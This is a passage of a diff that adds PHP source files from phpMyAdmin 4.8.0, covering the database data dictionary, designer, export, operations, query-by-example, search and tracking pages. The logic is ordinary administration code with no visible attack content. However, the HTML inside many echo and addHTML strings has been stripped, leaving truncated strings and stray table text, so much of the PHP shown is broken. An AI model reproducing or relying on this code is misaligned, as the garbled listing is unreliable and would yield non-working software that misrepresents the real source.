'); +$message = Message::success( + sprintf(__('Showing rows %1$s - %2$s.'), ($pos + 1), ($pos + count($result))) +); +if (isset($tmp_msg) && $tmp_msg !== true) { + $message = $tmp_msg; +} 215 phpMyAdmin-4.8.0-all-languages/db_datadict.php @@ -0,0 +1,215 @@ +getHeader(); +$header->enablePrintView(); + +$relation = new Relation(); + +/** + * Gets the relations settings + */ +$cfgRelation = $relation->getRelationsParam(); + +/** + * Check parameters + */ +PhpMyAdmin\Util::checkParameters(array('db')); + +/** + * Defines the url to return to in case of error in a sql statement + */ +$err_url = 'db_sql.php' . Url::getCommon(array('db' => $db)); + +if ($cfgRelation['commwork']) { + $comment = $relation->getDbComment($db); + + /** + * Displays DB comment + */ + if ($comment) { + echo '

' , __('Database comment') + , '
' , htmlspecialchars($comment) , '

'; + } // end if +} + +/** + * Selects the database and gets tables names + */ +$GLOBALS['dbi']->selectDb($db); +$tables = $GLOBALS['dbi']->getTables($db); + +$count = 0; +foreach ($tables as $table) { + $comments = $relation->getComments($db, $table); + + echo '

' , "\n"; + + echo '

' , htmlspecialchars($table) , '

' , "\n"; + + /** + * Gets table information + */ + $show_comment = $GLOBALS['dbi']->getTable($db, $table) + ->getStatusInfo('TABLE_COMMENT'); + + /** + * Gets table keys and retains them + */ + $GLOBALS['dbi']->selectDb($db); + $indexes = $GLOBALS['dbi']->getTableIndexes($db, $table); + list($primary, $pk_array, $indexes_info, $indexes_data) + = PhpMyAdmin\Util::processIndexData($indexes); + + /** + * Gets columns properties + */ + $columns = $GLOBALS['dbi']->getColumns($db, $table); + + // Check if we can use Relations + list($res_rel, $have_rel) = $relation->getRelationsAndStatus( + ! empty($cfgRelation['relation']), $db, $table + ); + + /** + * Displays the comments of the table if MySQL >= 3.23 + */ + if (!empty($show_comment)) { + echo __('Table comments:') , ' '; + echo htmlspecialchars($show_comment) , '

'; + } + + /** + * Displays the table structure + */ + + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + if ($have_rel) { + echo ' ' , "\n"; + } + echo ' ' , "\n"; + if ($cfgRelation['mimework']) { + echo ' ' , "\n"; + } + echo ''; + foreach ($columns as $row) { + + if ($row['Null'] == '') { + $row['Null'] = 'NO'; + } + $extracted_columnspec + = PhpMyAdmin\Util::extractColumnSpec($row['Type']); + + // reformat mysql query output + // set or enum types: slashes single quotes inside options + + $type = htmlspecialchars($extracted_columnspec['print_type']); + $attribute = $extracted_columnspec['attribute']; + if (! isset($row['Default'])) { + if ($row['Null'] != 'NO') { + $row['Default'] = 'NULL'; + } + } else { + $row['Default'] = htmlspecialchars($row['Default']); + } + $column_name = $row['Field']; + + echo ''; + echo ''; + echo '' , $type , ''; + + echo ''; + echo ''; + + if ($have_rel) { + echo ' ' , "\n"; + } + echo ' ' , "\n"; + if ($cfgRelation['mimework']) { + $mime_map = Transformations::getMIME($db, $table, true); + + echo ' ' , "\n"; + } + echo ''; + } // end foreach + $count++; + echo '

' , __('Column') , '	' , __('Type') , '	' , __('Null') , '	' , __('Default') , '	' , __('Links to') , '	' , __('Comments') , '	MIME
'; + echo htmlspecialchars($column_name); + + if (isset($pk_array[$row['Field']])) { + echo ' (' , __('Primary') , ')'; + } + echo '	'; + echo (($row['Null'] == 'NO') ? __('No') : __('Yes')); + echo '	'; + if (isset($row['Default'])) { + echo $row['Default']; + } + echo '	'; + if ($foreigner = $relation->searchColumnInForeigners($res_rel, $column_name)) { + echo htmlspecialchars( + $foreigner['foreign_table'] + . ' -> ' + . $foreigner['foreign_field'] + ); + } + echo '	'; + if (isset($comments[$column_name])) { + echo htmlspecialchars($comments[$column_name]); + } + echo '	'; + if (isset($mime_map[$column_name])) { + echo htmlspecialchars( + str_replace('_', '/', $mime_map[$column_name]['mimetype']) + ); + } + echo '

'; + // display indexes information + if (count(PhpMyAdmin\Index::getFromTable($table, $db)) > 0) { + echo PhpMyAdmin\Index::getHtmlForIndexes($table, $db, true); + } + echo '

'; +} //ends main while + +/** + * Displays the footer + */ +echo PhpMyAdmin\Util::getButton(); 215 phpMyAdmin-4.8.0-all-languages/db_designer.php @@ -0,0 +1,215 @@ +getHtmlForEditOrDeletePages($GLOBALS['db'], 'editPage'); + } elseif ($_REQUEST['dialog'] == 'delete') { + $html = $databaseDesigner->getHtmlForEditOrDeletePages($GLOBALS['db'], 'deletePage'); + } elseif ($_REQUEST['dialog'] == 'save_as') { + $html = $databaseDesigner->getHtmlForPageSaveAs($GLOBALS['db']); + } elseif ($_REQUEST['dialog'] == 'export') { + $html = $databaseDesigner->getHtmlForSchemaExport( + $GLOBALS['db'], $_REQUEST['selected_page'] + ); + } elseif ($_REQUEST['dialog'] == 'add_table') { + $script_display_field = $designerCommon->getTablesInfo(); + $required = $GLOBALS['db'] . '.' . $GLOBALS['table']; + $tab_column = $designerCommon->getColumnsInfo(); + $tables_all_keys = $designerCommon->getAllKeys(); + $tables_pk_or_unique_keys = $designerCommon->getPkOrUniqueKeys(); + + $req_key = array_search($required, $GLOBALS['designer']['TABLE_NAME']); + + $GLOBALS['designer']['TABLE_NAME'] = array($GLOBALS['designer']['TABLE_NAME'][$req_key]); + $GLOBALS['designer_url']['TABLE_NAME_SMALL'] = array($GLOBALS['designer_url']['TABLE_NAME_SMALL'][$req_key]); + $GLOBALS['designer']['TABLE_NAME_SMALL'] = array($GLOBALS['designer']['TABLE_NAME_SMALL'][$req_key]); + $GLOBALS['designer_out']['TABLE_NAME_SMALL'] = array($GLOBALS['designer_out']['TABLE_NAME_SMALL'][$req_key]); + $GLOBALS['designer']['TABLE_TYPE'] = array($GLOBALS['designer_url']['TABLE_TYPE'][$req_key]); + $GLOBALS['designer_out']['OWNER'] = array($GLOBALS['designer_out']['OWNER'][$req_key]); + + $html = $databaseDesigner->getDatabaseTables( + array(), -1, $tab_column, + $tables_all_keys, $tables_pk_or_unique_keys + ); + } + + if (! empty($html)) { + $response->addHTML($html); + } + return; +} + +if (isset($_REQUEST['operation'])) { + + if ($_REQUEST['operation'] == 'deletePage') { + $success = $designerCommon->deletePage($_REQUEST['selected_page']); + $response->setRequestStatus($success); + } elseif ($_REQUEST['operation'] == 'savePage') { + if ($_REQUEST['save_page'] == 'same') { + $page = $_REQUEST['selected_page']; + } else { // new + $page = $designerCommon->createNewPage($_REQUEST['selected_value'], $GLOBALS['db']); + $response->addJSON('id', $page); + } + $success = $designerCommon->saveTablePositions($page); + $response->setRequestStatus($success); + } elseif ($_REQUEST['operation'] == 'setDisplayField') { + $designerCommon->saveDisplayField( + $_REQUEST['db'], $_REQUEST['table'], $_REQUEST['field'] + ); + $response->setRequestStatus(true); + } elseif ($_REQUEST['operation'] == 'addNewRelation') { + list($success, $message) = $designerCommon->addNewRelation( + $_REQUEST['db'], + $_REQUEST['T1'], + $_REQUEST['F1'], + $_REQUEST['T2'], + $_REQUEST['F2'], + $_REQUEST['on_delete'], + $_REQUEST['on_update'], + $_REQUEST['DB1'], + $_REQUEST['DB2'] + ); + $response->setRequestStatus($success); + $response->addJSON('message', $message); + } elseif ($_REQUEST['operation'] == 'removeRelation') { + list($success, $message) = $designerCommon->removeRelation( + $_REQUEST['T1'], + $_REQUEST['F1'], + $_REQUEST['T2'], + $_REQUEST['F2'] + ); + $response->setRequestStatus($success); + $response->addJSON('message', $message); + } elseif ($_REQUEST['operation'] == 'save_setting_value') { + $success = $designerCommon->saveSetting($_REQUEST['index'], $_REQUEST['value']); + $response->setRequestStatus($success); + } + + return; +} + +require 'libraries/db_common.inc.php'; + +$script_display_field = $designerCommon->getTablesInfo(); +$tab_column = $designerCommon->getColumnsInfo(); +$script_tables = $designerCommon->getScriptTabs(); +$tables_pk_or_unique_keys = $designerCommon->getPkOrUniqueKeys(); +$tables_all_keys = $designerCommon->getAllKeys(); +$classes_side_menu = $databaseDesigner->returnClassNamesFromMenuButtons(); + +$display_page = -1; +$selected_page = null; + +if (isset($_REQUEST['query'])) { + $display_page = $designerCommon->getDefaultPage($_REQUEST['db']); +} else { + if (! empty($_REQUEST['page'])) { + $display_page = $_REQUEST['page']; + } else { + $display_page = $designerCommon->getLoadingPage($_REQUEST['db']); + } +} +if ($display_page != -1) { + $selected_page = $designerCommon->getPageName($display_page); +} +$tab_pos = $designerCommon->getTablePositions($display_page); +$script_contr = $designerCommon->getScriptContr(); + +$params = array('lang' => $GLOBALS['lang']); +if (isset($_GET['db'])) { + $params['db'] = $_GET['db']; +} + +$response = Response::getInstance(); +$response->getFooter()->setMinimal(); +$header = $response->getHeader(); +$header->setBodyId('designer_body'); + +$scripts = $header->getScripts(); +$scripts->addFile('vendor/jquery/jquery.fullscreen.js'); +$scripts->addFile('designer/database.js'); +$scripts->addFile('designer/objects.js'); +$scripts->addFile('designer/page.js'); +$scripts->addFile('designer/history.js'); +$scripts->addFile('designer/move.js'); +$scripts->addFile('designer/init.js'); + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = PhpMyAdmin\Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +// Embed some data into HTML, later it will be read +// by designer/init.js and converted to JS variables. +$response->addHTML( + $databaseDesigner->getHtmlForJsFields( + $script_tables, $script_contr, $script_display_field, $display_page + ) +); +$response->addHTML( + $databaseDesigner->getPageMenu( + isset($_REQUEST['query']), + $selected_page, + $classes_side_menu + ) +); + + + +$response->addHTML('

'); +$response->addHTML( + ''); +$response->addHTML('

'); // end canvas_outer + +$response->addHTML('

'); + +$response->addHTML($databaseDesigner->getNewRelationPanel()); +$response->addHTML($databaseDesigner->getDeleteRelationPanel()); + +if (isset($_REQUEST['query'])) { + $response->addHTML($databaseDesigner->getOptionsPanel()); + $response->addHTML($databaseDesigner->getRenameToPanel()); + $response->addHTML($databaseDesigner->getHavingQueryPanel()); + $response->addHTML($databaseDesigner->getAggregateQueryPanel()); + $response->addHTML($databaseDesigner->getWhereQueryPanel()); + $response->addHTML($databaseDesigner->getQueryDetails($_GET['db'])); +} + +$response->addHTML('

'); 18 phpMyAdmin-4.8.0-all-languages/db_events.php @@ -0,0 +1,18 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('export.js'); + +// $sub_part is used in Util::getDbInfo() to see if we are coming from +// db_export.php, in which case we don't obey $cfg['MaxTableList'] +$sub_part = '_export'; +require_once 'libraries/db_common.inc.php'; +$url_query .= '&goto=db_export.php'; + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +/** + * Displays the form + */ +$export_page_title = __('View dump (schema) of database'); + +// exit if no tables in db found +if ($num_tables < 1) { + $response->addHTML( + Message::error(__('No tables found in database.'))->getDisplay() + ); + exit; +} // end if + +$multi_values = '

'; +if (isset($_GET['structure_or_data_forced'])) { + $force_val = htmlspecialchars($_GET['structure_or_data_forced']); +} else { + $force_val = 0; +} +$multi_values .= ''; +$multi_values .= '' + . '' + . '' + . '' + . '' + . '' + . '' + . '' + . '' + . '' + . '' + . ''; +$multi_values .= "\n"; + +// when called by libraries/mult_submits.inc.php +if (!empty($_POST['selected_tbl']) && empty($table_select)) { + $table_select = $_POST['selected_tbl']; +} + +// Check if the selected tables are defined in $_GET +// (from clicking Back button on export.php) +foreach (array('table_select', 'table_structure', 'table_data') as $one_key) { + if (isset($_GET[$one_key])) { + $_GET[$one_key] = urldecode($_GET[$one_key]); + $_GET[$one_key] = explode(",", $_GET[$one_key]); + } +} + +foreach ($tables as $each_table) { + if (isset($_GET['table_select']) && is_array($_GET['table_select'])) { + $is_checked = Export::getCheckedClause( + $each_table['Name'], $_GET['table_select'] + ); + } elseif (isset($table_select)) { + $is_checked = Export::getCheckedClause( + $each_table['Name'], $table_select + ); + } else { + $is_checked = ' checked="checked"'; + } + if (isset($_GET['table_structure']) && is_array($_GET['table_structure'])) { + $structure_checked = Export::getCheckedClause( + $each_table['Name'], $_GET['table_structure'] + ); + } else { + $structure_checked = $is_checked; + } + if (isset($_GET['table_data']) && is_array($_GET['table_data'])) { + $data_checked = Export::getCheckedClause( + $each_table['Name'], $_GET['table_data'] + ); + } else { + $data_checked = $is_checked; + } + $table_html = htmlspecialchars($each_table['Name']); + $multi_values .= ''; + $multi_values .= ''; + $multi_values .= ''; + $multi_values .= ''; + $multi_values .= ''; + $multi_values .= ''; +} // end for + +$multi_values .= "\n"; +$multi_values .= '

	' . __('Tables') . '	' . __('Structure') . '	' . __('Data') . '
	' . __('Select all') . '	' + . '	' + . '
	' + . str_replace(' ', ' ', $table_html) . '	' + . '	' + . '

'; + +if (! isset($sql_query)) { + $sql_query = ''; +} +if (! isset($num_tables)) { + $num_tables = 0; +} +if (! isset($unlim_num_rows)) { + $unlim_num_rows = 0; +} +if (! isset($multi_values)) { + $multi_values = ''; +} +$response = Response::getInstance(); +$displayExport = new DisplayExport(); +$response->addHTML( + $displayExport->getDisplay( + 'database', $db, $table, $sql_query, $num_tables, + $unlim_num_rows, $multi_values + ) +); 44 phpMyAdmin-4.8.0-all-languages/db_import.php @@ -0,0 +1,44 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('import.js'); + +/** + * Gets tables information and displays top links + */ +require 'libraries/db_common.inc.php'; + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = PhpMyAdmin\Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +$response = Response::getInstance(); +$response->addHTML( + Import::get( + 'database', $db, $table, $max_upload_size + ) +); 30 phpMyAdmin-4.8.0-all-languages/db_multi_table_query.php @@ -0,0 +1,30 @@ +getHeader(); + $scripts = $header->getScripts(); + $scripts->addFile('vendor/jquery/jquery.md5.js'); + $scripts->addFile('db_multi_table_query.js'); + + $queryInstance = new MultiTableQuery($GLOBALS['dbi'], $db); + + $response->addHTML($queryInstance->getFormHtml()); +} 308 phpMyAdmin-4.8.0-all-languages/db_operations.php @@ -0,0 +1,308 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('db_operations.js'); + +$sql_query = ''; + +$operations = new Operations(); + +/** + * Rename/move or copy database + */ +if (strlen($GLOBALS['db']) > 0 + && (! empty($_REQUEST['db_rename']) || ! empty($_REQUEST['db_copy'])) +) { + if (! empty($_REQUEST['db_rename'])) { + $move = true; + } else { + $move = false; + } + + if (! isset($_REQUEST['newname']) || strlen($_REQUEST['newname']) === 0) { + $message = Message::error(__('The database name is empty!')); + } else { + // lower_case_table_names=1 `DB` becomes `db` + if ($GLOBALS['dbi']->getLowerCaseNames() === '1') { + $_REQUEST['newname'] = mb_strtolower( + $_REQUEST['newname'] + ); + } + + if ($_REQUEST['newname'] === $_REQUEST['db']) { + $message = Message::error( + __('Cannot copy database to the same name. Change the name and try again.') + ); + } else { + $_error = false; + if ($move || ! empty($_REQUEST['create_database_before_copying'])) { + $operations->createDbBeforeCopy(); + } + + // here I don't use DELIMITER because it's not part of the + // language; I have to send each statement one by one + + // to avoid selecting alternatively the current and new db + // we would need to modify the CREATE definitions to qualify + // the db name + $operations->runProcedureAndFunctionDefinitions($GLOBALS['db']); + + // go back to current db, just in case + $GLOBALS['dbi']->selectDb($GLOBALS['db']); + + $tables_full = $GLOBALS['dbi']->getTablesFull($GLOBALS['db']); + + // remove all foreign key constraints, otherwise we can get errors + /* @var $export_sql_plugin ExportSql */ + $export_sql_plugin = Plugins::getPlugin( + "export", + "sql", + 'libraries/classes/Plugins/Export/', + array( + 'single_table' => isset($single_table), + 'export_type' => 'database' + ) + ); + + // create stand-in tables for views + $views = $operations->getViewsAndCreateSqlViewStandIn( + $tables_full, $export_sql_plugin, $GLOBALS['db'] + ); + + // copy tables + $sqlConstratints = $operations->copyTables( + $tables_full, $move, $GLOBALS['db'] + ); + + // handle the views + if (! $_error) { + $operations->handleTheViews($views, $move, $GLOBALS['db']); + } + unset($views); + + // now that all tables exist, create all the accumulated constraints + if (! $_error && count($sqlConstratints) > 0) { + $operations->createAllAccumulatedConstraints($sqlConstratints); + } + unset($sqlConstratints); + + if ($GLOBALS['dbi']->getVersion() >= 50100) { + // here DELIMITER is not used because it's not part of the + // language; each statement is sent one by one + + $operations->runEventDefinitionsForDb($GLOBALS['db']); + } + + // go back to current db, just in case + $GLOBALS['dbi']->selectDb($GLOBALS['db']); + + // Duplicate the bookmarks for this db (done once for each db) + $operations->duplicateBookmarks($_error, $GLOBALS['db']); + + if (! $_error && $move) { + if (isset($_REQUEST['adjust_privileges']) + && ! empty($_REQUEST['adjust_privileges']) + ) { + $operations->adjustPrivilegesMoveDb($GLOBALS['db'], $_REQUEST['newname']); + } + + /** + * cleanup pmadb stuff for this db + */ + RelationCleanup::database($GLOBALS['db']); + + // if someday the RENAME DATABASE reappears, do not DROP + $local_query = 'DROP DATABASE ' + . Util::backquote($GLOBALS['db']) . ';'; + $sql_query .= "\n" . $local_query; + $GLOBALS['dbi']->query($local_query); + + $message = Message::success( + __('Database %1$s has been renamed to %2$s.') + ); + $message->addParam($GLOBALS['db']); + $message->addParam($_REQUEST['newname']); + } elseif (! $_error) { + if (isset($_REQUEST['adjust_privileges']) + && ! empty($_REQUEST['adjust_privileges']) + ) { + $operations->adjustPrivilegesCopyDb($GLOBALS['db'], $_REQUEST['newname']); + } + + $message = Message::success( + __('Database %1$s has been copied to %2$s.') + ); + $message->addParam($GLOBALS['db']); + $message->addParam($_REQUEST['newname']); + } else { + $message = Message::error(); + } + $reload = true; + + /* Change database to be used */ + if (! $_error && $move) { + $GLOBALS['db'] = $_REQUEST['newname']; + } elseif (! $_error) { + if (isset($_REQUEST['switch_to_new']) + && $_REQUEST['switch_to_new'] == 'true' + ) { + $_SESSION['pma_switch_to_new'] = true; + $GLOBALS['db'] = $_REQUEST['newname']; + } else { + $_SESSION['pma_switch_to_new'] = false; + } + } + } + } + + /** + * Database has been successfully renamed/moved. If in an Ajax request, + * generate the output with {@link PhpMyAdmin\Response} and exit + */ + if ($response->isAjax()) { + $response->setRequestStatus($message->isSuccess()); + $response->addJSON('message', $message); + $response->addJSON('newname', $_REQUEST['newname']); + $response->addJSON( + 'sql_query', + Util::getMessage(null, $sql_query) + ); + $response->addJSON('db', $GLOBALS['db']); + exit; + } +} + +/** + * Settings for relations stuff + */ +$relation = new Relation(); + +$cfgRelation = $relation->getRelationsParam(); + +/** + * Check if comments were updated + * (must be done before displaying the menu tabs) + */ +if (isset($_REQUEST['comment'])) { + $relation->setDbComment($GLOBALS['db'], $_REQUEST['comment']); +} + +require 'libraries/db_common.inc.php'; +$url_query .= '&goto=db_operations.php'; + +// Gets the database structure +$sub_part = '_structure'; + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +echo "\n"; + +if (isset($message)) { + echo Util::getMessage($message, $sql_query); + unset($message); +} + +$_REQUEST['db_collation'] = $GLOBALS['dbi']->getDbCollation($GLOBALS['db']); +$is_information_schema = $GLOBALS['dbi']->isSystemSchema($GLOBALS['db']); + +if (!$is_information_schema) { + if ($cfgRelation['commwork']) { + /** + * database comment + */ + $response->addHTML($operations->getHtmlForDatabaseComment($GLOBALS['db'])); + } + + $response->addHTML('

'); + $response->addHTML(CreateTable::getHtml($db)); + $response->addHTML('

'); + + /** + * rename database + */ + if ($GLOBALS['db'] != 'mysql') { + $response->addHTML($operations->getHtmlForRenameDatabase($GLOBALS['db'])); + } + + // Drop link if allowed + // Don't even try to drop information_schema. + // You won't be able to. Believe me. You won't. + // Don't allow to easily drop mysql database, RFE #1327514. + if (($GLOBALS['dbi']->isSuperuser() || $GLOBALS['cfg']['AllowUserDropDatabase']) + && ! $db_is_system_schema + && $GLOBALS['db'] != 'mysql' + ) { + $response->addHTML($operations->getHtmlForDropDatabaseLink($GLOBALS['db'])); + } + /** + * Copy database + */ + $response->addHTML($operations->getHtmlForCopyDatabase($GLOBALS['db'])); + + /** + * Change database charset + */ + $response->addHTML($operations->getHtmlForChangeDatabaseCharset($GLOBALS['db'], $table)); + + if (! $cfgRelation['allworks'] + && $cfg['PmaNoRelation_DisableWarning'] == false + ) { + $message = Message::notice( + __( + 'The phpMyAdmin configuration storage has been deactivated. ' . + '%sFind out why%s.' + ) + ); + $message->addParamHtml(''); + $message->addParamHtml(''); + /* Show error if user has configured something, notice elsewhere */ + if (!empty($cfg['Servers'][$server]['pmadb'])) { + $message->isError(true); + } + } // end if +} // end if (!$is_information_schema) 160 phpMyAdmin-4.8.0-all-languages/db_qbe.php @@ -0,0 +1,160 @@ +getRelationsParam(); + +$savedSearchList = array(); +$savedSearch = null; +$currentSearchId = null; +if ($cfgRelation['savedsearcheswork']) { + $header = $response->getHeader(); + $scripts = $header->getScripts(); + $scripts->addFile('db_qbe.js'); + + //Get saved search list. + $savedSearch = new SavedSearches($GLOBALS); + $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) + ->setDbname($_REQUEST['db']); + + if (!empty($_REQUEST['searchId'])) { + $savedSearch->setId($_REQUEST['searchId']); + } + + //Action field is sent. + if (isset($_REQUEST['action'])) { + $savedSearch->setSearchName($_REQUEST['searchName']); + if ('create' === $_REQUEST['action']) { + $saveResult = $savedSearch->setId(null) + ->setCriterias($_REQUEST) + ->save(); + } elseif ('update' === $_REQUEST['action']) { + $saveResult = $savedSearch->setCriterias($_REQUEST) + ->save(); + } elseif ('delete' === $_REQUEST['action']) { + $deleteResult = $savedSearch->delete(); + //After deletion, reset search. + $savedSearch = new SavedSearches($GLOBALS); + $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) + ->setDbname($_REQUEST['db']); + $_REQUEST = array(); + } elseif ('load' === $_REQUEST['action']) { + if (empty($_REQUEST['searchId'])) { + //when not loading a search, reset the object. + $savedSearch = new SavedSearches($GLOBALS); + $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) + ->setDbname($_REQUEST['db']); + $_REQUEST = array(); + } else { + $loadResult = $savedSearch->load(); + } + } + //Else, it's an "update query" + } + + $savedSearchList = $savedSearch->getList(); + $currentSearchId = $savedSearch->getId(); +} + +/** + * A query has been submitted -> (maybe) execute it + */ +$message_to_display = false; +if (isset($_REQUEST['submit_sql']) && ! empty($sql_query)) { + if (! preg_match('@^SELECT@i', $sql_query)) { + $message_to_display = true; + } else { + $goto = 'db_sql.php'; + $sql = new Sql(); + $sql->executeQueryAndSendQueryResponse( + null, // analyzed_sql_results + false, // is_gotofile + $_REQUEST['db'], // db + null, // table + false, // find_real_end + null, // sql_query_for_bookmark + null, // extra_data + null, // message_to_show + null, // message + null, // sql_data + $goto, // goto + $pmaThemeImage, // pmaThemeImage + null, // disp_query + null, // disp_message + null, // query_type + $sql_query, // sql_query + null, // selectedTables + null // complete_query + ); + } +} + +$sub_part = '_qbe'; +require 'libraries/db_common.inc.php'; +$url_query .= '&goto=db_qbe.php'; +$url_params['goto'] = 'db_qbe.php'; + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +if ($message_to_display) { + Message::error( + __('You have to choose at least one column to display!') + ) + ->display(); +} +unset($message_to_display); + +// create new qbe search instance +$db_qbe = new Qbe($GLOBALS['db'], $savedSearchList, $savedSearch); + +$url = 'db_designer.php' . Url::getCommon( + array_merge( + $url_params, + array('query' => 1) + ) +); +$response->addHTML( + Message::notice( + sprintf( + __('Switch to %svisual builder%s'), + '', + '' + ) + ) +); + +/** + * Displays the Query by example form + */ +$response->addHTML($db_qbe->getSelectionForm()); 23 phpMyAdmin-4.8.0-all-languages/db_routines.php @@ -0,0 +1,23 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('db_search.js'); +$scripts->addFile('sql.js'); +$scripts->addFile('makegrid.js'); + +require 'libraries/db_common.inc.php'; + +// If config variable $GLOBALS['cfg']['UseDbSearch'] is on false : exit. +if (! $GLOBALS['cfg']['UseDbSearch']) { + Util::mysqlDie( + __('Access denied!'), '', false, $err_url + ); +} // end if +$url_query .= '&goto=db_search.php'; +$url_params['goto'] = 'db_search.php'; + +// Create a database search instance +$db_search = new Search($GLOBALS['db']); + +// Display top links if we are not in an Ajax request +if (! $response->isAjax()) { + list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos + ) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); +} + +// Main search form has been submitted, get results +if (isset($_REQUEST['submit_search'])) { + $response->addHTML($db_search->getSearchResults()); +} + +// If we are in an Ajax request, we need to exit after displaying all the HTML +if ($response->isAjax() && empty($_REQUEST['ajax_page_request'])) { + exit; +} + +// Display the search form +$response->addHTML($db_search->getSelectionForm()); +$response->addHTML('

'); +$response->addHTML( + '

' +); +$response->addHTML('
'); +$response->addHTML($db_search->getResultDivs()); 46 phpMyAdmin-4.8.0-all-languages/db_sql.php @@ -0,0 +1,46 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('makegrid.js'); +$scripts->addFile('vendor/jquery/jquery.uitablefilter.js'); +$scripts->addFile('sql.js'); + +require 'libraries/db_common.inc.php'; + +// After a syntax error, we return to this script +// with the typed query in the textarea. +$goto = 'db_sql.php'; +$back = 'db_sql.php'; + +/** + * Query box, bookmark, insert data from textfile + */ +$response->addHTML( + SqlQueryForm::getHtml( + true, false, + isset($_REQUEST['delimiter']) + ? htmlspecialchars($_REQUEST['delimiter']) + : ';' + ) +); 27 phpMyAdmin-4.8.0-all-languages/db_sql_autocomplete.php @@ -0,0 +1,27 @@ +getTables($db); + foreach ($tableNames as $tableName) { + $sql_autocomplete[$tableName] = $GLOBALS['dbi']->getColumns( + $db, $tableName + ); + } + } +} else { + $sql_autocomplete = true; +} +$response = Response::getInstance(); +$response->addJSON("tables", json_encode($sql_autocomplete)); 21 phpMyAdmin-4.8.0-all-languages/db_sql_format.php @@ -0,0 +1,21 @@ +addJSON("sql", $query); 38 phpMyAdmin-4.8.0-all-languages/db_structure.php @@ -0,0 +1,38 @@ +factory( + 'PhpMyAdmin\Controllers\Database\DatabaseStructureController' +); +$container->alias( + 'DatabaseStructureController', + 'PhpMyAdmin\Controllers\Database\DatabaseStructureController' +); +$container->set('PhpMyAdmin\Response', Response::getInstance()); +$container->alias('response', 'PhpMyAdmin\Response'); + +/* Define dependencies for the concerned controller */ +$dependency_definitions = array( + 'db' => $db, +); + +/** @var DatabaseStructureController $controller */ +$controller = $container->get( + 'DatabaseStructureController', + $dependency_definitions +); +$controller->indexAction(); 154 phpMyAdmin-4.8.0-all-languages/db_tracking.php @@ -0,0 +1,154 @@ +getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('vendor/jquery/jquery.tablesorter.js'); +$scripts->addFile('db_tracking.js'); + +/** + * If we are not in an Ajax request, then do the common work and show the links etc. + */ +require 'libraries/db_common.inc.php'; +$url_query .= '&goto=tbl_tracking.php&back=db_tracking.php'; + +// Get the database structure +$sub_part = '_structure'; + +list( + $tables, + $num_tables, + $total_num_tables, + $sub_part, + $is_show_stats, + $db_is_system_schema, + $tooltip_truename, + $tooltip_aliasname, + $pos +) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); + +// Work to do? +// (here, do not use $_REQUEST['db] as it can be crafted) +if (isset($_REQUEST['delete_tracking']) && isset($_REQUEST['table'])) { + + Tracker::deleteTracking($GLOBALS['db'], $_REQUEST['table']); + Message::success( + __('Tracking data deleted successfully.') + )->display(); + +} elseif (isset($_REQUEST['submit_create_version'])) { + + Tracking::createTrackingForMultipleTables($_REQUEST['selected']); + Message::success( + sprintf( + __( + 'Version %1$s was created for selected tables,' + . ' tracking is active for them.' + ), + htmlspecialchars($_REQUEST['version']) + ) + )->display(); + +} elseif (isset($_REQUEST['submit_mult'])) { + + if (! empty($_REQUEST['selected_tbl'])) { + if ($_REQUEST['submit_mult'] == 'delete_tracking') { + + foreach ($_REQUEST['selected_tbl'] as $table) { + Tracker::deleteTracking($GLOBALS['db'], $table); + } + Message::success( + __('Tracking data deleted successfully.') + )->display(); + + } elseif ($_REQUEST['submit_mult'] == 'track') { + + echo Tracking::getHtmlForDataDefinitionAndManipulationStatements( + 'db_tracking.php' . $url_query, + 0, + $GLOBALS['db'], + $_REQUEST['selected_tbl'] + ); + exit; + } + } else { + Message::notice( + __('No tables selected.') + )->display(); + } +} + +// Get tracked data about the database +$data = Tracker::getTrackedData($_REQUEST['db'], '', '1'); + +// No tables present and no log exist +if ($num_tables == 0 && count($data['ddlog']) == 0) { + echo '

' , __('No tables found in database.') , '

